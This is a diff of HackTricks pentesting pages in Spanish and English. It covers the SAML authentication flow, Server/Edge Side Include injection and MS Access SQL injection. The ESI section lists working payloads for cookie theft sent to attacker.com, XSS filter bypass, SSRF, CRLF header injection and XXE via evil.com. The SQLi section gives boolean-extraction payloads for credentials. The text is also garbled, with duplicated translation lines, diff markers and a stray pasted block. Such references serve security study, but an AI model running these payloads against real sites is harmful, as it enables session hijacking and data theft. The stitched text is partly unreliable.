Considera el escenario en el que un usuario solicita acceso a un recurso seguro en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). El SP identifica la falta de autenticación y genera una solicitud SAML:
Considere el escenario en el que un usuario solicita acceso a un recurso seguro en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). El SP identifica la falta de autenticación y genera una Solicitud SAML:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
@ -55,38 +56,38 @@ La solicitud SAML en bruto se ve así:
<samlp:AuthnRequest ...
</samlp:AuthnRequest>
```
Los elementos clave de esta solicitud incluyen:
- **AssertionConsumerServiceURL**: Especifica a dónde debe enviar el IdP la Respuesta SAML después de la autenticación.
Key elements of this request include:
- **AssertionConsumerServiceURL**: Especifica dónde el IdP debe enviar la SAML Response después de la autenticación.
- **Destination**: La dirección del IdP a la que se envía la solicitud.
- **ProtocolBinding**: Define el método de transmisión de mensajes del protocolo SAML.
- **ProtocolBinding**: Define el método de transmisión de los mensajes del protocolo SAML.
- **saml:Issuer**: Identifica la entidad que inició la solicitud.
Después de generar la Solicitud SAML, el SP responde con una **redirección 302**, dirigiendo el navegador al IdP con la Solicitud SAML codificada en el encabezado **Location** de la respuesta HTTP. El parámetro **RelayState** mantiene la información de estado durante la transacción, asegurando que el SP reconozca la solicitud de recurso inicial al recibir la Respuesta SAML. El parámetro **SAMLRequest** es una versión comprimida y codificada del fragmento XML sin procesar, utilizando compresión Deflate y codificación base64.
Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.
# Ejemplo de Respuesta SAML
# SAML Response Example
Puedes encontrar una [respuesta SAML completa aquí](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Los componentes clave de la respuesta incluyen:
You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:
- **ds:Signature**: Esta sección, una Firma XML, garantiza la integridad y autenticidad del emisor de la afirmación. La respuesta SAML en el ejemplo contiene dos elementos `ds:Signature`, uno para el mensaje y otro para la afirmación.
- **ds:Signature**: Esta sección, una firma XML, asegura la integridad y autenticidad del emisor de la afirmación. La SAML response en el ejemplo contiene dos elementos `ds:Signature`, uno para el mensaje y el otro para la afirmación.
- **saml:Assertion**: Esta parte contiene información sobre la identidad del usuario y posiblemente otros atributos.
- **saml:Subject**: Especifica el sujeto principal de todas las declaraciones en la afirmación.
- **saml:StatusCode**: Representa el estado de la operación en respuesta a la solicitud correspondiente.
- **saml:Conditions**: Detalla condiciones como el tiempo de validez de la Afirmación y el Proveedor de Servicios especificado.
- **saml:AuthnStatement**: Confirma que el IdP autenticó al sujeto de la Afirmación.
- **saml:AttributeStatement**: Contiene atributos que describen al sujeto de la Afirmación.
- **saml:Conditions**: Detalla condiciones como el tiempo de validez de la afirmación y el proveedor de servicios especificado.
- **saml:AuthnStatement**: Confirma que el IdP autenticó al sujeto de la afirmación.
- **saml:AttributeStatement**: Contiene atributos que describen al sujeto de la afirmación.
Después de la Respuesta SAML, el proceso incluye una redirección 302 desde el IdP. Esto lleva a una solicitud POST a la URL del Servicio de Consumidor de Afirmaciones (ACS) del Proveedor de Servicios. La solicitud POST incluye los parámetros `RelayState` y `SAMLResponse`. El ACS es responsable de procesar y validar la Respuesta SAML.
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
Después de recibir la solicitud POST y validar la Respuesta SAML, se otorga acceso al recurso protegido solicitado inicialmente por el usuario. Esto se ilustra con una solicitud `GET` al punto final `/secure/` y una respuesta `200 OK`, indicando un acceso exitoso al recurso.
After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.
# Firmas XML
# XML Signatures
Las Firmas XML son versátiles, capaces de firmar un árbol XML completo o elementos específicos dentro de él. Se pueden aplicar a cualquier Objeto XML, no solo a elementos de Respuesta. A continuación se muestran los tipos clave de Firmas XML:
XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:
### Estructura Básica de la Firma XML
Una Firma XML consta de elementos esenciales como se muestra:
### Basic Structure of XML Signature
An XML Signature consists of essential elements as shown:
```xml
<Signature>
<SignedInfo>
@ -104,7 +105,7 @@ Una Firma XML consta de elementos esenciales como se muestra:
<Object />
</Signature>
```
Cada elemento `Reference` significa un recurso específico que está siendo firmado, identificable por el atributo URI.
Cada `Reference` elemento significa un recurso específico que está siendo firmado, identificable por el atributo URI.
### Tipos de Firmas XML
@ -126,9 +127,9 @@ Ejemplo:
</samlp:Response>
```
En una firma envolvente, el elemento `ds:Transform` especifica que está envuelto a través del algoritmo `enveloped-signature`.
En una firma envolvente, el elemento `ds:Transform` especifica que está envuelta a través del algoritmo `enveloped-signature`.
2. **Firma Envolvente**: A diferencia de las firmas envolventes, las firmas envolventes envuelven el recurso que está siendo firmado.
2. **Firma Envolvente**: A diferencia de las firmas envolventes, las firmas envolventes envuelven el recurso que se está firmando.
Ejemplo:
```xml
@ -145,7 +146,7 @@ Ejemplo:
</ds:Signature>
```
3. **Firma Desvinculada**: Este tipo está separado del contenido que firma. La firma y el contenido existen de forma independiente, pero se mantiene un enlace entre los dos.
3. **Firma Desprendida**: Este tipo es independiente del contenido que firma. La firma y el contenido existen de manera independiente, pero se mantiene un vínculo entre ambos.
Ejemplo:
```xml
@ -162,8 +163,23 @@ Ejemplo:
</ds:Signature>
```
En conclusión, las Firmas XML proporcionan formas flexibles de asegurar documentos XML, con cada tipo sirviendo diferentes necesidades estructurales y de seguridad.
En conclusión, las Firmas XML proporcionan formas flexibles de asegurar documentos XML, con cada tipo sirviendo a diferentes necesidades estructurales y de seguridad.
## Referencias
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,42 @@
# Inclusión del Lado del Servidor/Inclusión del Lado del Borde
# Server Side Inclusion/Edge Side Inclusion Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica sobre la Inclusión del Lado del Servidor
## Server Side Inclusion Basic Information
**(Introducción tomada de [la documentación de Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
**(Introducción tomada de [documentos de Apache](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras las páginas se están sirviendo. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
SSI (Server Side Includes) son directivas que se **colocan en páginas HTML y se evalúan en el servidor** mientras se sirven las páginas. Te permiten **agregar contenido generado dinámicamente** a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.\
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
`<!--#echo var="DATE_LOCAL" -->`
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado con su valor:
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor:
`Martes, 15-Ene-2013 19:28:54 EST`
`Tuesday, 15-Jan-2013 19:28:54 EST`
La decisión de cuándo usar SSI, y cuándo tener tu página generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar alguna otra solución.
La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente es una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones \*\* `.shtml`, `.shtm` o `.stm`\*\*, pero no es el único caso.
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones **`.shtml`, `.shtm` o `.stm`**, pero no es solo el caso.
Una expresión SSI típica tiene el siguiente formato:
Una expresión típica de SSI tiene el siguiente formato:
```
<!--#directive param="value" -->
```
### Verificación
### Verificar
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -66,9 +67,9 @@ Una expresión SSI típica tiene el siguiente formato:
<!--#set var="name" value="Rich" -->
```
## Inclusión en el Borde
## Edge Side Inclusion
Existe un problema al **almacenar en caché información o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Para esto se utiliza **ESI**, para indicar mediante etiquetas ESI el **contenido dinámico que debe generarse** antes de enviar la versión en caché.\
Hay un problema **con la información en caché o aplicaciones dinámicas** ya que parte del contenido puede haber **variado** para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza **ESI**, para indicar usando etiquetas ESI el **contenido dinámico que necesita ser generado** antes de enviar la versión en caché.\
si un **atacante** es capaz de **inyectar una etiqueta ESI** dentro del contenido en caché, entonces, podría ser capaz de **inyectar contenido arbitrario** en el documento antes de que se envíe a los usuarios.
### Detección de ESI
@ -78,7 +79,7 @@ El siguiente **encabezado** en una respuesta del servidor significa que el servi
Surrogate-Control: content="ESI/1.0"
```
Si no puedes encontrar este encabezado, el servidor **podría estar utilizando ESI de todos modos**.\
También se puede utilizar un enfoque de **explotación a ciegas** ya que una solicitud debería llegar al servidor del atacante:
Un **enfoque de explotación ciega también se puede utilizar** ya que una solicitud debería llegar al servidor del atacante:
```javascript
// Basic detection
hell<!--esi-->o
@ -99,24 +100,24 @@ hell<!--esi-->o
// Valid for Akamai, sends debug information in the response
<esi:debug/>
```
### Explotación de ESI
### ESI explotación
[GoSecure creó](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) una tabla para entender los posibles ataques que podemos intentar contra diferentes software capaces de ESI, dependiendo de la funcionalidad admitida:
[GoSecure creó](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) una tabla para entender los posibles ataques que podemos intentar contra diferentes software compatibles con ESI, dependiendo de la funcionalidad soportada:
* **Includes**: Admite la directiva `<esi:includes>`
* **Vars**: Admite la directiva `<esi:vars>`. Útil para evadir los filtros XSS
* **Includes**: Soporta la directiva `<esi:includes>`
* **Vars**: Soporta la directiva `<esi:vars>`. Útil para eludir filtros XSS
* **Cookie**: Las cookies del documento son accesibles para el motor ESI
* **Se Requieren Encabezados de Origen**: Las aplicaciones sustitutas no procesarán las declaraciones ESI a menos que la aplicación de origen proporcione los encabezados
* **Lista Blanca de Hosts**: En este caso, las inclusiones de ESI solo son posibles desde los hosts de servidor permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
* **Encabezados de upstream requeridos**: Las aplicaciones sustitutas no procesarán las declaraciones ESI a menos que la aplicación upstream proporcione los encabezados
* **Lista blanca de hosts**: En este caso, los includes ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Se Requieren Encabezados de Origen** | **Lista Blanca de Hosts** |
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------------: | :------------------------: |
| Squid3 | Sí | Sí | Sí | Sí | No |
| Varnish Cache | Sí | No | No | Sí | Sí |
| Fastly | Sí | No | No | No | Sí |
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
| NodeJS esi | Sí | Sí | Sí | No | No |
| NodeJS nodesi | Sí | No | No | No | Opcional |
| **Software** | **Includes** | **Vars** | **Cookies** | **Encabezados de upstream requeridos** | **Lista blanca de hosts** |
| :--------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :-----------------------: |
| Squid3 | Sí | Sí | Sí | Sí | No |
| Varnish Cache | Sí | No | No | Sí | Sí |
| Fastly | Sí | No | No | No | Sí |
| Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
| NodeJS esi | Sí | Sí | Sí | No | No |
| NodeJS nodesi | Sí | No | No | No | Opcional |
#### XSS
@ -124,7 +125,7 @@ La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Saltar la protección XSS del cliente
#### Eludir la protección XSS del cliente
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -139,7 +140,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Robar la cookie HTTP\_ONLY con XSS al reflejarla en la respuesta:
* Robar cookie HTTP\_ONLY con XSS reflejándolo en la respuesta:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -148,9 +149,9 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Archivo local privado
#### Archivo Local Privado
No confundir con una "Inclusión de archivo local":
No confundir esto con una "Inclusión de Archivo Local":
```markup
<esi:include src="secret.txt">
```
@ -158,21 +159,21 @@ No confundir con una "Inclusión de archivo local":
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Redirección Abierta
#### Open Redirect
Lo siguiente agregará un encabezado `Location` a la respuesta
Lo siguiente añadirá un encabezado `Location` a la respuesta
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Agregar Encabezado
* Agregar encabezado en solicitud forzada
* Agregar encabezado en la solicitud forzada
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Agregar encabezado en la respuesta (útil para evadir "Content-Type: text/json" en una respuesta con XSS)
* Agregar encabezado en la respuesta (útil para eludir "Content-Type: text/json" en una respuesta con XSS)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -180,14 +181,14 @@ Lo siguiente agregará un encabezado `Location` a la respuesta
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF en Agregar encabezado (**CVE-2019-2438)**
#### CRLF en el encabezado Add (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Depuración de Akamai
#### Akamai debug
Esto enviará información de depuración incluida en la respuesta:
```xml
@ -195,7 +196,7 @@ Esto enviará información de depuración incluida en la respuesta:
```
### ESI + XSLT = XXE
Al especificar el valor `xslt` para el parámetro _dca_, es factible incluir ESI basado en **`Transformaciones de Lenguaje de Hoja de Estilo Extensible (XSLT)`**. La inclusión hace que el servidor HTTP recupere los archivos XML y XSLT, siendo este último el que filtra el primero. Estos archivos XML son explotables para ataques de _Entidades Externas XML (XXE)_, lo que permite a los atacantes ejecutar ataques SSRF. Sin embargo, la utilidad de este enfoque es limitada ya que las inclusiones de ESI ya sirven como un vector SSRF. Debido a la falta de soporte en la biblioteca subyacente Xalan, los DTD externos no se procesan, lo que evita la extracción de archivos locales.
Al especificar el valor `xslt` para el parámetro _dca_, es factible incluir **`eXtensible Stylesheet Language Transformations (XSLT)`** basado en ESI. La inclusión provoca que el sustituto HTTP recupere los archivos XML y XSLT, siendo este último el que filtra al primero. Tales archivos XML son explotables para ataques de _XML External Entity (XXE)_, permitiendo a los atacantes ejecutar ataques SSRF. Sin embargo, la utilidad de este enfoque es limitada ya que ESI ya sirve como un vector SSRF. Debido a la ausencia de soporte en la biblioteca subyacente Xalan, los DTD externos no son procesados, lo que impide la extracción de archivos locales.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -205,7 +206,7 @@ Archivo XSLT:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Revisa la página XSLT:
Check the XSLT page:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -222,16 +223,17 @@ Revisa la página XSLT:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Inyección SQL en MS Access
# Inyección SQL de MS Access
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
## Playground en Línea
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitaciones de la Base de Datos
## Limitaciones de la DB
### Concatenación de Cadenas
@ -33,7 +34,7 @@ No hay comentarios en MS Access, pero aparentemente es posible eliminar el últi
```sql
1' union select 1,2 from table%00
```
Si esto no funciona, siempre puedes corregir la sintaxis de la consulta:
Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
@ -43,92 +44,56 @@ No son compatibles.
### LIMIT
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de una consulta SELECT a las **primeras N filas de la tabla usando el operador `TOP`**. `TOP` acepta como argumento un número entero, que representa la cantidad de filas a ser devueltas.
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de la consulta SELECT a las **primeras N filas de la tabla utilizando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas que se devolverán.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Al igual que TOP, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
Justo como TOP, puedes usar **`LAST`** que obtendrá las **filas desde el final**.
## Consultas de UNION/Subconsultas
## Consultas UNION/Subconsultas
En un SQLi generalmente querrás ejecutar de alguna manera una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Por lo tanto, si deseas ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **necesitas indicar un `FROM` con un nombre de tabla válido**.\
En un SQLi, generalmente querrás ejecutar de alguna manera una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en **subconsultas o consultas adicionales se indique un `FROM`**.\
Así que, si deseas ejecutar un `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` entre paréntesis en una condición, siempre **necesitas indicar un `FROM` con un nombre de tabla válido**.\
Por lo tanto, necesitas conocer un **nombre de tabla válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Encadenamiento de igualdad + Subcadena
### Chaining equals + Substring
{% hint style="warning" %}
Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
{% endhint %}
**MS Access** permite una **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como generalmente la inyección SQL estará dentro de una cláusula **`WHERE`**, podemos abusar de eso.
**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, por lo que podemos abusar de eso.
Imagina que tienes una inyección SQL en una base de datos de MS Access y sabes (o has adivinado) que un **nombre de columna es username**, y ese es el campo que deseas **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de encadenamiento de igualdad y potencialmente exfiltrar contenido con una **inyección booleana** utilizando la función **`Mid`** para obtener subcadenas.
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías comprobar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
```sql
'=(Mid(username,1,3)='adm')='
```
Si conoces el **nombre de la tabla** y **columna** para volcar, puedes usar una combinación de `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
Si conoces el **nombre de la tabla** y **columna** para volcar, puedes usar una combinación entre `Mid`, `LAST` y `TOP` para **filtrar toda la información** a través de SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Siéntete libre de probar esto en el entorno de pruebas en línea._
_Feel free to check this in the online playground._
### Fuerza bruta de nombres de tablas
Usando la técnica de encadenamiento de iguales también puedes **realizar fuerza bruta en los nombres de las tablas** de la siguiente manera:
Usando la técnica de encadenamiento de iguales, también puedes **fuerza bruta de nombres de tablas** con algo como:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
El siguiente contenido es de un libro sobre técnicas de hacking. El contenido es de un archivo sobre inyección SQL en MS Access.
```md
## MS Access SQL Injection
---
### Introduction
In this section, we will discuss how to perform SQL injection in MS Access databases.
### Steps to Perform SQL Injection in MS Access
1. **Identify the Vulnerable Parameter**: Find the input field or parameter that is vulnerable to SQL injection.
2. **Determine the Number of Columns**: Use the `ORDER BY` clause to determine the number of columns in the database.
3. **Retrieve Data**: Use the `UNION SELECT` statement to retrieve data from the database.
4. **Identify the Database Version**: Use database-specific queries to identify the version of MS Access.
5. **Dumping the Database**: Use SQL injection techniques to dump the entire database.
### Example
Assuming we have a vulnerable parameter `id` in a URL, we can perform SQL injection by manipulating the input.
```html
https://example.com/page?id=1
```
By injecting SQL code into the `id` parameter, we can retrieve sensitive data from the database.
---
By following these steps, you can successfully perform SQL injection in MS Access databases.
```
También puedes usar una forma más tradicional:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Siéntete libre de verificar esto en el patio de recreo en línea._
_Feel free to check this in the online playground._
* Nombres comunes de tablas en Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Nombres de tablas comunes de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
